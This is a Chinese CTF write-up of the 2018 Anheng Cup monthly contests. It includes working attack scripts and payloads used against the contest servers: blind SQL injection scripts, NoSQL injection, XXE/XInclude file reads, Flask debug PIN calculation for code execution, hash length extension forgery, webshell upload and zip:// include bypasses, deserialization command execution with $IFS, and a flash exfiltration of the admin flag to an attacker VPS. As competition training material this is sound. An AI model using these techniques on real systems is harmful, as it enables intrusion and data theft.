2018年安恒杯月赛Write Up-12月赛更新(完结)

6月

WEB

研究生的秘密

当title等于4个标题的名字时,会正确显示数据。
当title等于4个标题名字外的字符串时会显示对应的字符串
明显的非关系型数据库。%df'报错
图片.png
Mongodb数据库,findOne只查找一个文档。

传入title[$ne]=1相当于传入了db.collections.findOne({"title":{$ne:1}})

图片.png
也就是输出title不等于1的第一个文档
图片.png
图片.png
由于ne比较符搜索时按ascii顺序列结果,f跟M、R比排的比较考前,也可能是flag这条记录就是第一条。
payload可以这样写

http://101.71.29.5:10002/?title[$regex]=^f.*

MongoDB安全 – PHP注入检测

ezupload

上传PHP文件显示It is not a image
上传JPG图片文件显示成功
上传JPG图片文件把文件名后缀改为PHP依然显示成功图片.png
上传PHP文件 把content-type改为image/jpeg显示It is not a image
由此得出服务器可能是检验了图片文件的内容,文件内容没有图片文件特征的则进制上传。
上传一个图片马后缀改为PHP,显示

uploads/025fc5b33fb6e35a69f40461be668f3afae0e807/1.peg succesfully uploaded!

他把文件后缀改为了peg,尝试把文件名改为.peg.php成功显示php后缀
图片.png
连接成功图片.png

mynote

注册后登陆,发现有文件上传点。上传文件改content-type可以成功上传php文件,可是一直找不到文件路径。
御剑扫到robots.txt,发现/flag.php图片.png原本以为是正确的flag一直显示错误,问了客服,客服让我看flag的意思。
英语很重要,fake: 伪造; 篡改。这是一个假的flag图片.png
以及phpinfo文件,里面有网站绝对路径,还有其他重要信息(太菜了,很多看不懂)图片.png
最后怎么连都连不上,可能是文件名被随机了。
经过大佬提示说picture抓包有反序列化漏洞图片.png图片.png
已知/flag.php,抓包把a:1:{i:0;s:5:"1.jpg";}改成a:1:{i:0;s:14:"../../flag.php";},然后base64编码就可以读出flag.phpbase64解码图片.png
第二种解法
反序列化传入一个错的序列化字符串报出上传文件的路径
图片.png
再结合前面所说的可以上传php文件从而getshell图片.png

7月

WEB

order

简单的order by注入,无任何过滤,可以用sqlmap跑,我就自己写了个简单的时间盲注脚本。(列名懒得写了,sqlmap都跑出来了。)

# coding=utf-8
import requests
import string
import time

strTmp = string.digits + string.ascii_letters + string.punctuation
url = "http://101.71.29.5:10004/?order="
database = ""
table = ""
flag = ""

for i in range(1, 10):
    for strT in strTmp:
        payload = "IF((substr((select database()),%d,1)='%s'),sleep(2),price)&button=submit" % (i, strT)
        # print(url+payload)
        startTime = time.time()
        r = requests.get(url + payload, timeout=10)
        if time.time() - startTime > 3:
            database += strT
            break
    print("数据库名:" + database)

for i in range(1, 10):
    for strT in strTmp:
        payload = "IF((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1)='%s'),sleep(2),price)&button=submit" % (
        i, strT)
        # print(url+payload)
        startTime = time.time()
        r = requests.get(url + payload, timeout=10)
        if time.time() - startTime > 3:
            table += strT
            break
    print(table)
print("表名:" + table)
for i in range(1, 30):
    for strT in strTmp:
        payload = "IF((substr((select flag from flag),%d,1)='%s'),sleep(2),price)&button=submit" % (i, strT)
        # print(url+payload)
        startTime = time.time()
        r = requests.get(url + payload, timeout=20)
        if time.time() - startTime > 3:
            flag += strT
            break
    print(flag)
print("flag:" + flag)
就这么直接

Unix按秒为单位计时随机数的生命周期

<?php
$key = "********";
srand(time()); 

$a = rand(0,100); 
$b = rand(0,100); 
$c = rand(0,100); 
$d = rand(0,100); 
$e = rand(0,100);

$result = ((($a - $b)/$c)+$d) * $e;
$result = md5($key.$result.$key);
show_source(__FILE__);  
?> 

利用时间种子生成随机数,经过运算然后md5加密。
随机提交个md5在源码的注释里会给你这个md5的加密结果,因为这个时间种子一秒变一次,所以我们需要在一秒内抓取到响应中的md5然后再次提交。

写了一个比较菜的脚本

# coding=utf-8
import requests
import re
from bs4 import BeautifulSoup
url="http://101.71.29.5:10003/flag.php"
data={"answer":"0e342768416822451524974117254469"}
r=requests.post(url,data=data)
soup=BeautifulSoup(r.text,'lxml')
print(soup.p)
md5=re.findall(r"<!--(.*?)-->",str(soup.p))
data=md5[0]
data={"answer":data}
r=requests.post(url,data=data)
print(r.text)

官方脚本
图片.png

简历来了

图片.png

 <?php
require_once('init.php');
header("Content-type: text/html; charset=utf-8");
if(isset($_POST['submit'])){
    if(!z_validate_captcha()){
        die('验证码错误');
    }
    $email = isset($_POST['email'])?trim($_POST['email']):'';
    $url = isset($_POST['url'])?trim($_POST['url']):'';
    $file = isset($_FILES['file'])?$_FILES['file']:false;
    if($email == false || $url == false || $file == false){
        die('Invalid Input');
    }

    if(!filter_var($email, FILTER_VALIDATE_EMAIL)){
        die('Invalid Email');
    }

    if(!filter_var($url, FILTER_VALIDATE_URL) || (strpos($url, 'http://') !== 0 && strpos($url, 'https://') !== 0)){
        die('Invalid URL');
    }

    if($file['error'] || $file['size'] > 1024*1024 || !is_uploaded_file($file['tmp_name'])){
        die('Invalid File');
    }

    $ext = getExt($file['name']);

    if(!in_array($ext, array('.jpg','.jpeg', '.png', '.docx', '.doc'))){
        die('Invalid File Type');
    }

    $file_checked = false;
    if(in_array($ext, array('.jpg','.jpeg', '.png'))){
        $finfo = finfo_open(FILEINFO_MIME);
        if (!$finfo) {
            die("Opening fileinfo database failed");
        }
        $mime = finfo_file($finfo, $file["tmp_name"]);
        finfo_close($finfo);
        if($mime == false){
            die('Invalid Filename');
        }
        $arr = explode(';', $mime);
        $mime = $arr[0];
        if($mime == false || !in_array($mime, array('image/gif', 'image/jpeg', 'image/jpg', 'image/png', 'application/octet-stream'))){
            die('Invalid Filename');
        }else{
            $file_checked = true;
        }
    }elseif(in_array($ext, array('.docx', '.doc'))){
        $finfo = finfo_open(FILEINFO_MIME);
        if (!$finfo) {
            die("Opening fileinfo database failed");
        }
        $mime = finfo_file($finfo, $file["tmp_name"]);
        finfo_close($finfo);
        if($mime == false){
            die('Invalid Filename');
        }
        $arr = explode(';', $mime);
        $mime = $arr[0];
        if($mime == false || !in_array($mime, array('application/msword','application/word', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'))){
            die('Invalid Filename');
        }else{
            $file_checked = true;
        }
    }

    if($file_checked !== true){
        die('Invalid File Type');
    }

    $filename = './upload/'.md5(mt_rand().microtime()).$ext;

    move_uploaded_file($file["tmp_name"], $filename);

    if(!file_exists($filename)){
        echo '上传失败';
    }else{
        save_resume($email, $url, $filename);
        echo "<br/>提交成功:";
        echo "<br/>邮箱:".htmlspecialchars($email);
        echo "<br/>个人网站:".htmlspecialchars($url);
        echo "<br/>简历地址:".htmlspecialchars($filename);
        echo "<br/><br/><br/>";
    }
}

show_source(__FILE__);

很坑爹的一道题,主要是利用了github上一个CSRF项目:https://github.com/nccgroup/CrossSiteContentHijacking
限制了邮箱、URL格式,文件大小。以及上传的文件类型和MIME类型。无法绕过上传PHP文件或者利用文件包含上传图片马。
通过监听发现输入的个人网站后台爬虫会去访问。
图片.png

原理

Flash跨域数据劫持漏洞,一大波网站受影响**
object标签在包含flash文件时没有对嵌入的文件后缀进行判断。也就是说,只要文件内容包含了正常的flash文件代码,就能够被object标签成功加载并执行。

flash文件有三种文件头:CWS FWS ZWS【最新的】
由于ZWS是新兴的文件格式,PHP暂不支持。

在php中,当解析cws,fws格式的文件的时候,会解析成 application/x-shockwave-flash;
但是当解析 zws 格式的文件时候,会解析成 application/octet-stream
从而绕过MIME限制。

目录扫描发现http://101.71.29.5:10001/admin/中需要管理员权限才能看到flag。
我们已知后台的爬虫会带着管理员的session_id来打开flag的页面,当bot打开这个图像的时候。会跳转到我们的服务器地址,与此同时会加载object标签内嵌的flash,flash会利用CSRF打开http://101.71.29.5:10001/admin/将flag打回我们的服务器。

复现

其实这道题原理是最重要的,复现的话利用的是别人写的东西,没有什么太大意义。

下载项目中的文件,将ContentHijacking.swf文件头改为ZWS然后后缀改为jpg上传到服务器,记录文件路径。(windows编辑器改的文件不能复现成功,某表哥说他windows上我软件全试过,没用。只有mac的hex friend可以,这就很奇怪了。)

然后在ContentHijackingLoader.html125行加上你vps的地址,保存传到你的vps上。
图片.png

在你的vps上打开ContentHijackingLoader.html,第一个填写开始时候上传的jpg文件地址,下面填写要攻击的URL地址。然后生成payload。

把payload写进个人网站提交,后台爬虫会访问这个payload。然后在你的vps日志里面就能看到打回来的http://101.71.29.5:10001/admin/中的flag。
图片.png
总的来说,这道题挺有意思的

MISC

刷新过的图片

F5工具解密,发现是zip文件格式改后缀为zip得到Flag。
图片.png

弱口令

给了个加密的压缩包,我TM 0-6位爆破了3个小时。
最后看了答案才知道密码在压缩包的注释里,是不可显字符摩斯密码。
图片.png
丢进编辑器里再结合摩斯密码表可以解出来密码是HELL0FORUM。

用Stegsolve的Data Extract查看发现是LSB隐写,用lsb.py解出来flag。
图片.png

8月

MISC

暴力可解

根据提示暴力可解,爆破了1-6位所有可打印字符,没有爆破出来。最后8位纯数字爆破出来了。
TIM图片20180825163303.png
解压出来两张图片,1.png和2.png。第一张其实是一张jpg。用BlindWaterMark-master盲水印工具解密。
图片.png

Crypto

爬坡道

压缩包里有一张图片。以为是凯撒,发现不对。
图片.png
binwalk一下发现有zip文件,分离出来一张key.png。
图片.png
大佬提示希尔加密:https://blog.csdn.net/no_sying_nothing/article/details/51534580
https://www.cnblogs.com/xdjun/p/7472735.html

1)加密:密文=明文密钥矩阵 (注:明文要被分割成与密钥维数相同的一维行列式)
2)解密:明文=密文
密钥矩阵的逆 (注:要求与加密过程相同)
计算矩阵3 1 2 1的逆矩阵

根据字母表顺序将密文换成矩阵数值

将密钥的逆矩阵与密文变换成的矩阵做乘运算

将得到的矩阵mod26
还可以在线解密:http://www.practicalcryptography.com/ciphers/hill-cipher/
图片.png

应急响应

过滤ip,如源ip或者目标x.x.x.x
ip.src eq x.x.x.x or ip.dst eq x.x.x.x 或者ip.addr eq x.x.x.x

过滤端口
tcp.port eq 80 or udp.port eq 80

过滤MAC
eth.dst == A0:00:00:04:C5:84

http模式过滤
http.request.method == "GET"
http.response.method == "POST"
http.request.uri=="/img/logo-edu.gif"
http contains "GET"
http contains "HTTP/1."
http.request.method == "GET" && http contains "User-Agent:"

某公司内网网络被黑客渗透,请分析流量
1、给出黑客使用的扫描器

http contains "Acunetix"

2、得到黑客扫描到的登陆后台是(相对路径即可) /admin/login.php

http.request.method=="POST" and http contains "login"

图片.png
3、得到黑客使用了什么账号密码登陆了web后台(形式:username/password)

http contains "passowrd"&&http.request.method=="post"

图片.png
4、得到黑客上传的webshell文件名是什么,内容是什么,提交webshell内容的base编码

tcp contains "<?php @eval"

图片.png

5、黑客在robots.txt中找到的flag是什么

http contains "Disallow"

图片.png
6、黑客找到的数据库密码是多少

http contains "10.3.3.101" //数据库服务器地址

图片.png
7、黑客在数据库中找到的hash_code是什么

http contains "hash_code"

图片.png
8、黑客破解了账号ijnu@test.com得到的密码是什么

mysql contains "ijnu"

图片.png
9、被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip

http contains "eth0"

图片.png

10、黑客使用了什么账号登陆了mail系统(形式: username/password)
套路一:社工,和web密码相同;
套路二:首先在mailtwo.pcap中过滤http,序号3的Cookie中就发现 login_name=wenwenni字段,并且是action=logout,继续跟进,下一个序号是28,又到了登陆界面(35),在其中发现了密码的加密函数:
图片.png
因刚退出,所以是根据cookie中的信息登陆的,在下一请求42对应的45中出现{"success":true},表示登陆成功。然后使用http contains"{\"success\":true}" or http.request.method=="POST"and ip.addr==192.168.94.59过滤显示入侵的post请求及成功的返回结果,发现非常多,看来是在爆破,并且到mailtwo.pcap的最后也未爆破成功。相同的过滤条件上给mailtwo1.pcap,发现几条数据,从后往前看,发现18152是登陆成功的返回结果,那对应的17126则就是正确的密码
图片.png
用上面发现的加密算法(在18152的追踪流->TCP流中也可以发现这个算法)在线进行破解即可得出结果。
11、黑客获得的vpn,ip是多少
第一个包在尝试登陆vpn,第二个包登陆上了vpn,然后第二个包 统计->端点 后从流量大的挨个试;或者从 统计->对话 发现10.3.4.3和10.3.4.96发出的包比较多,而且过滤一下smb发现10.3.4.96是smb服务器,筛选10.3.4.55(另一个流量大点的地址)发现是10.3.4.3先ping它的,基本可以确定10.3.4.3就是黑客的vpn IP。
图片.png

web

粗心的程序员

任意文件读取配合Flask debug 模式 PIN 码生成机制可以造成任意代码执行。
推荐文章:https://xz.aliyun.com/t/2553
复现的时候环境已经没了,自己随便搭了个报错的flask环境。

from flask import Flask, request
app = Flask(__name__)

@app.route("/")
def hello():
    return Hello['a']

@app.route("/file")
def file():
    filename = request.args.get('filename')
    try:
        with open(filename, 'r') as f:
            return f.read()
    except:
        return 'error'

if __name__ == "__main__":
    app.run(host="0.0.0.0", debug=True)

username是启动这个flask的用户
modname为flask.app
getattr(app, '__name__', getattr(app.__class__, '__name__'))为Flask
getattr(mod, '__file__', None)为flask目录下的一个app.py的绝对路径,可以在报错页面看到
图片.png
uuid.getnode()就是当前电脑的MAC地址,str(uuid.getnode())则是mac地址的十进制表达式。/sys/class/net/eth0/address为网卡路径
图片.png

get_machine_id()首先尝试读取/etc/machine-id或者 /proc/sys/kernel/random/boot_i中的值,若有就直接返回。假如是在win平台下读取不到上面两个文件,就去获取注册表中.SOFTWARE\Microsoft\Cryptography的值,并返回
图片.png

当这6个值我们可以获取到时,就可以推算出生成的PIN码,引发任意代码执行

import hashlib
from itertools import chain
probably_public_bits = [
    'root',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/lib/python3/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '52239509129',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '2feb373da7214fffb91452cc708eec3f'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

然后我们就可以算出pin码
图片.png
利用debug成功执行系统命令
图片.png

9月

WEB

web1

SSTI,留个坑。

web2

传送门:https://www.liuxianglai.top/?p=145

MISC

CRC

用crc32-master工具求出压缩包密码:forum_91ctf_com_66
图片.png
解压出来后,convert.txt是一串01字符串,转下ascii:
图片.png
是一张base64后的png,解出来一张二维码,扫一下即得到flag。
图片.png

Ditf

图片分离出rar压缩包,压缩包有密码,用tweakpng在图片里找到密码StRe1izia
图片.png
打开流量包,过滤http流,有一张显眼的kiss.png,追踪http流找到base64字符串
图片.png
解码
图片.png

Crypto

Go

图片.png
注释16进制转换得到The length of this plaintext:10,说明明文长度位为10。
密文长度为明文的2倍,观察密文特征正好符合多文字加密的特征
由于加密密钥由5个字母组成,所以很容易破解,只要将密文加以分析,重新进行排列组合即可。提取出不同的字母进行排列组合,组合成新的密钥,根据密文进行反向查找矩阵即可。
密钥矩阵:
图片.png

10月

WEB

手速要快

给了一个登陆框,登陆后会302一下
图片.png
抓包发现跳转后的响应头中有password,解密后发现密码的值随时间不断增加的。
图片.png
因此我们可以预测出未来的密码的md5。看一下现在时间戳的密码,然后增加一段值,md5加密一下,放bp里用多线程跑。登陆成功后发现一个上传页面
图片.png
Apache加php7,过滤了php后缀,发现除了php其他的都能上传成功。因此上传了一个.htaccess控制解析,但是发现连不上。要么是后台有个进程一直在删,要么就是别人上传的把我的给覆盖了。因此bp开多线程上传,最后连接成功。
图片.png

ezshop

复现的时候题目已经关闭了只有源码。
关键代码
图片.png
购买flag时候的数据包
图片.png
我们可以更改购买者的id,爆破钱够的id,用别人的账号购买商品。
但是购买商品时候,会对body中的数据进行md5校验,
全局搜一下key,发现是从secret.key里面读取的,secret.key是已知的。
图片.png
然后傻乎乎的拿着md5(key+body)去购买,显示签名不正确。我还在骂shadow老哥是个傻逼,拿着哈希长度扩展攻击去搞,最后我还是太年轻了。确实用到了哈希长度扩展攻击。
md5(RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + request.body).hexdigest() == sign
key未知,body已知,sign可控,key的长度未知。
所以需要爆破key的长度,需要用到hashpumpy,win上装不了这个库,我在kali上装成功了。
shadow老哥的脚本,我加了个长度爆破。

from hashpumpy import hashpump
import requests
import re

sign = 'a2468257cc420f67de5d26f35c8f64a4'
data = 'order_id=703&buyer_id=99&good_id=34&buyer_point=300&good_price=50&order_create_time=1540645031.455666'
cookie = {'sessionid':'a5qoi3wrgdg3h16dkwg7rwcalb9iq74n'}
url = 'http://101.71.29.5:10006/payment/check'
length = 1337

for length in (1,99999):
    for i in range(30):
        res = hashpump(sign,data,'&buyer_id={}'.format(i),length)
        print(res)
        res = requests.post('{}?signature={}'.format(url,res[0]),data=res[1],cookies=cookie,headers={'Content-Type':'application/x-www-form-urlencoded'})
        print(re.findall('\<h4\>.*?\<\/h4\>',req.text))

好吧,某个老哥跟我说 key文件里有一个新行 rb读取其实是13个字符,脚本读取发送请求。太坑了。。。。

CoolCms

about页面存在注入,且id=3时发现提示table flag????
fuzz一下发现union select,and,or,order by,information_schema,以及逗号,等都被waf掉了。
union select可以用/**/或者%0b绕过。逗号可以用join绕过。
payload:?id=0' union/**/select * from (select 1)a join (select 2)b join (select 3)c join (select 4)k-- k
图片.png
已知表名,但是不知道列名,且information被waf掉了,无法注入处列名。但是可以
列名被ban,自己构造

mysql> select 1,2,3 union select * from users;
+----+----------+------------+
| 1  | 2        | 3          |
+----+----------+------------+
|  1 | 2        | 3          |
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
+----+----------+------------+
6 rows in set (0.00 sec)

mysql> select passwd from (select 1,2,3 as passwd union select * from users)as twoname;
+------------+
| passwd     |
+------------+
| 3          |
| Dumb       |
| I-kill-you |
| p@ssword   |
| crappy     |
| stupidity  |
+------------+
6 rows in set (0.00 sec)

或者飘零大佬博客中写的也可以
图片.png
limit中的逗号可以用offset绕过
最终构造出id=0' union/**/select * from (select 1)a join (select 2)b join (select 3)c join (select i.4 from (select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d union/**/select * from flag)i limit 1 offset 1)k-- k
图片.png
得到flag路径
发现write页面存在xxe。
用一般的payload发现无法解析外部实体
图片.png
用飘零大佬博客中所说的xinclude xxe即可
图片.png
读flag

<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///home/fff123aggg" parse="text"/></root>

图片.png

easy audit

源码中看到提示func1
func1=phpinfo发现执行了phpinfo()
图片.png
说明这个参数可以动态执行函数,利用get_defined_functions函数
图片.png
获得所有内置函数和已定义函数的名称,并且发现函数jam_source_ctf_flag
图片.png
得到源码

<?php
//include 'real_flag.php';
function jam_source_ctf_flag(){
    echo file_get_contents('flag.php');
}

class jam_flag{
        public $a;
    function __construct(){
        $this->a = isset($_GET['a'])?$_GET['a']:'123';
    }
    function gen_str($m=6){
        $str = '';
        $str_list = 'abcdefghijklmnopqrstuvwxyz';
        for($i=0;$i<$m;$i++){
            $str .= $str_list[rand(0,strlen($str_list)-1)];
        }
        return $str;
    }
    function GiveYouTheFlag(){
                include 'real_flag.php';
        $secret = $this->gen_str();
        //echo $secret;
        if($secret === $this->a){
            echo $real_flag;//echo $flag
        }
    }
    function __invoke(){
        echo 'want to use me?';
        $this->GiveYouTheFlag();
    }
}
echo rand().'<br>';
$_flag = new jam_flag;

if(isset($_POST['flag']) && $_POST['flag'] === 'I want the flag'){
        include 'real_flag.php';
    $_flag->GiveYouTheFlag();
}
?>

需要满足isset($_POST['flag']) && $_POST['flag'] === 'I want the flag'
$secret === $_GET['a']
这里可以爆破6位随机数a,但是机率太小了。
还可以利用get_defined_vars函数
图片.png
但是我们直接使用这个全局函数是无法得到flag的,因为直接调用get_defined_vars时还没有包含含有flag的php文件。因此我们需要先postI want the flag,这时他include 'real_flag.php',接着调用get_defined_vars即可得到flag。
图片.png

MISC

流量分析

一开始拿到两个流量包,一个是usb流量,一个是https加密的流量。具体思路应该是从USB中找到HTTPS的密钥文件后解密SSL流量。

打开USB流量,推测应该是文件交换的流量,直接把长度从大到小排列,可以看到一个密钥文件,把它导出来
图片.png
之后在wireshark的首选项-协议-SSL中导入密钥文件,可以看到流量被解密了。
图片.png
全局搜索http中的flag字符
图片.png

just do it

给了一个res值的base64,一个pyc文件。把pyc反编译一下。
pyc反编译:https://tool.lu/pyc/

import flag
import random

def generate(flag, key, ran):
    res = []
    for i in range(len(flag)):
        res.append((ord(flag[i]) ^ key[i]) % ran)

    return res


def main():
    ran = random.randint(99, 109)
    print ran
    real_flag = flag.flag
    key = [
        151,
        157,
        163,
        167,
        173,
        179,
        181,
        191,
        193,
        197,
        199,
        211,
        223,
        227,
        229,
        233,
        239,
        241,
        251,
        257,
        263,
        269,
        271,
        277,
        281,
        283,
        293,
        307,
        311,
        313,
        317,
        331,
        337,
        347,
        349,
        353,
        359,
        367]
    print generate(real_flag, key, ran)
    generate(real_flag, key, ran)

if __name__ == '__main__':
    main()

取余的随机数只随机了一次,用于所有加密。因此利用第一个字符为f来爆破随机数的值。爆破出来是104。然后写脚本跑flag就行了。这里有个坑,我刚开始把大写字母加到string里面了,最终跑出来的flag不对,因为取余后有些字符得到的值会相等。
exp

# -*- coding:utf8 -*-
import requests
import string
str1=string.ascii_lowercase+string.digits+string.punctuation
import random

def main():
    key = [
        151,
        157,
        163,
        167,
        173,
        179,
        181,
        191,
        193,
        197,
        199,
        211,
        223,
        227,
        229,
        233,
        239,
        241,
        251,
        257,
        263,
        269,
        271,
        277,
        281,
        283,
        293,
        307,
        311,
        313,
        317,
        331,
        337,
        347,
        349,
        353,
        359,
        367]
    flag=str1
    flag1=""
    res=[33, 33, 90, 88, 6, 27, 36, 11, 59, 33, 47, 74, 28, 26, 6, 0, 15, 40, 100, 98, 96, 3, 52, 87, 94, 89, 65, 50, 51, 48, 38, 67, 100, 54, 45, 33, 39, 66]
    for j in range(0,len(res)):
        for i in range(len(flag)):
            if((ord(flag[i])^key[j])%104)== res[j]:
                flag1+=flag[i]
                print(flag1)
                break
if __name__ == '__main__':
    main()

图片.png

CRYPTO

odinary Keyboard

这个键盘密码我是想不出来

李磊是一名程序员,在他的笔记本里有一些这样的记录:
QQ:iloveyou521
blog:blog132
wechat:wechat190

看着应该像是密码,于是尝试去登录,发现密码错误
后来一打听,原来他将这些密码经过自己写的一个简单的加密算法变成真实的密码,而自己笔记本中存放的只是一些虚假的密码,只是方便记忆而已

其真实密码如下:
QQ:+p)g$_)'521
blog:hp)u132
wechat:A$ezr&190

hint:Caesar

flag is spru.r5sf3h7660h7394e169699hffe0s0h$4,

Please restore the real flag

键盘密码+凯撒移位
分析题目标题和内容,可知是键盘密码,对于数字不做变换
题目中字母i对应密文+i的左上角为*,它的ascii值+1刚好等于+
所以可以知道明文和密文的关系为:密文=明文字母左上角字母的ascii值+1
官方的解密脚本
图片.png

11月

这个月的月赛时间我事情比较多,写的很水,还有两个我傻蛋大哥出的题粗略的看了看,没空复现了。23333

WEB

手速要快

10月原题

image_up

发现文件包含,尝试用php伪协议读取index和upload的源码
图片.png
index.php

<?php
  if(isset($_GET['page'])){
    if(!stristr($_GET['page'],"..")){
      $page = $_GET['page'].".php";
      include($page);
    }else{
      header("Location: index.php?page=login");
    }
  }else{
    header("Location: index.php?page=login");
  }
?>

upload.php

<!DOCTYPE html>
<html lang="en" >

<head>
  <meta charset="UTF-8">
  <title>Upload Form</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">

  <link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Roboto:400,100,300,500,700,900'>
<link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Montserrat:400,700'>
<link rel='stylesheet' href='https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css'>
      <link rel="stylesheet" href="css/style.css">
</head>

<body>
<?php
    $error = "";
    $exts = array("jpg","png","gif","jpeg");
    if(!empty($_FILES["image"]))
    {
        $temp = explode(".", $_FILES["image"]["name"]);
        $extension = end($temp);
        if((@$_upfileS["image"]["size"] < 102400))
        {
            if(in_array($extension,$exts)){
              $path = "uploads/".md5($temp[0].time()).".".$extension;
              move_uploaded_file($_FILES["image"]["tmp_name"], $path);
              $error = "上传成功!";
            }
        else{
            $error = "上传失败!";
        }

        }else{
          $error = "文件过大,上传失败!";
        }
    }

?>
<div class="form">
  <div class="thumbnail"><img src="hat.svg"/></div>
  <form class="login-form" action="" method="post" enctype="multipart/form-data">
    <input type="file" name="image" placeholder="image"/>
    <button type="submit">login</button>
  </form>
  <?php echo $error;?>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
<script  src="js/index.js"></script>
</body>
</html>

上传一个图片1.jpg,然后include getshell。看一下当前时间戳,然后上传多个图片进行预测。
图片.png
最后说是时区问题,要+8*3600,我这个地理渣表示很迷。最后预测出文件名
图片.png
测试一下
图片.png
然后include一下,但是源码中文件名后面的php是拼接上去的,无法更改。这里可以利用伪协议绕过。
将一句话压1.php缩成zip格式,改名为1.jpg。上传并预测文件名。
访问http://101.71.29.5:10007/index.php?page=zip://uploads/da8fe5156ac2ded511fb95dbc66cecb1.jpg%231成功解析
图片.png
连接getflag
图片.png

好黑的黑名单

fuzz一波发现过滤了union,单引号,substr,sleep。不能联合查询,截取和时间盲注了。
图片.png
最后构造出来一个基于正则的布尔盲注payload
http://101.71.29.5:10008/show.php?id=-1%0aor%0aif(((select%0adatabase()%0aregexp%0a1)%0ain%0a(1)),1,0)%23
图片.png
http://101.71.29.5:10008/show.php?id=-1%0aor%0aif(((select%0adatabase()%0aregexp%0a1)%0ain%0a(0)),1,0)%23
图片.png

最终的脚本

import requests
import string

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])


st=string.ascii_letters+string.digits+"{}(),"
ss=""
for i in range(1,20):
    for a in st:
        b=ss+a
        #print(b)
        s='0x'+str_to_hex(b)
        #print(s)
        payload='http://101.71.29.5:10008/show.php?id=-1+or+if((((select+group_concat(table_name)+from+information_schema+.+tables+where+table_schema+in+(database()))+regexp+(%s))+in+(1)),1,0)%%23'%(s)
        payload=payload.replace('+','%0a')
        #print(payload)

        q=requests.get(payload)
        #print(q.text)
        if '10' in q.text:
            ss+=a
            print(ss)
            break
print(ss)

表名
图片.png
字段名id,f1agg
但是跑不出来flag。看官方脚本好了,利用的是between。

interesting web

提示:这是我的新图床系统哦!这里支持tar包和jpg的上传哦!但是暂时普通用户只可以上传jpg文件使用。
根据功能,应该是要重置admin密码。发现重置密码所需的token存在cookie中的session里。
图片.png
admin登陆发现会解压所上传的tar包
构造软链接

ln -s 1.txt /etc/passwd
tar -zcvf 1.tar 1.txt

上传访问
图片.png

ezsql

复现的时候环境已经关了。
可以利用load_file+like盲注出源码
官方脚本
图片.png
config.php

<?php
$config = unserialize(base64_decode($config));
if(isset($_GET['p'])){
    $p=$_GET['p'];
    $config->$p;
}
class Config{
    private $config;
    private $path;
    public $filter;
    public function __construct($config=""){
        $this->config = $config;
        echo 123;
    }
    public function getConfig(){
        if($this->config == ""){
            $config = isset($_POST['config'])?$_POST['config']:"";
        }
    }
    public function SetFilter($value){
//        echo $value;
    $value=waf_exec($value); 
        var_dump($value);
    if($this->filter){
            foreach($this->filter as $filter){


                $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
            }
            $this->filter = array();
        }else{
            return false;
        }
        return true;
    }
    public function __get($key){
        //var_dump($key);
    $this->SetFilter($key);
        die("");
    }
}

call_user_func()两个参数通过控。
__get方法能够调用私有属性或者未经初始化的属性。我们可以传入p参数使其传入__get方法,从而控制$value$filter通过反序列化可控。从而可以执行任意命令。
但是$value被waf了,需要绕过。
图片.png
空格被waf,可以用$IFS绕过。
/和通配符?被过滤。可以用grep绕过。

12月

不知不觉半年过去了,这次月赛web和misc挺基础的,除了恶心的misc1。

WEB

ezweb2

请求包中发现一个user=base64字符串
图片.png
解码发现结果是user
图片.png
改成admin再base64一下,发现跳转到后台admin.php
图片.png
以为是ssrf,随手试了个http://www.baidu.com提示error,然后又试了一个ls发现有回显。
图片.png
试了个ls /又提示error,经过测试发现过滤了空格,可以用$IFS绕过。
图片.png
读取即可
图片.png

easy

给了源码

 <?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    public $file;
    function __toString()      
    {          
        if(isset($this->file)) 
        {
            $filename = "./{$this->file}";        
            if (file_get_contents($filename))         
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
}  
if (isset($_GET['data']))  
{ 
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }     
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?> 

可以通过反序列化进行任意文件读取,但是正则preg_match('/[oc]:\d+:/i',$data,$matches);waf掉了[oc]:数字:
我们发现反序列化payloadO:4:"baby":1:{s:4:"file";s:8:"flag.php";}中前面的O:4:符合正则的条件,因此将其绕过即可。而\d+匹配的是至少一个数字,我们在4前面进行fuzz。发现%2B,也就是+号可以正常反序列化,应该是php解析成了正4。
图片.png

MISC

签到题

公众号回复蜗牛即可

学习资料

明文攻击
图片.png
打开学习资料,flag在图片后面。
图片.png

JUJU

提示女朋友问我这11只JUJU哪只好看?答案提交flag{}括号内的值(flag中的字符串md5后提交)。
图片里没有11只JUJU,改个高度即可。
图片.png
base32解码
图片.png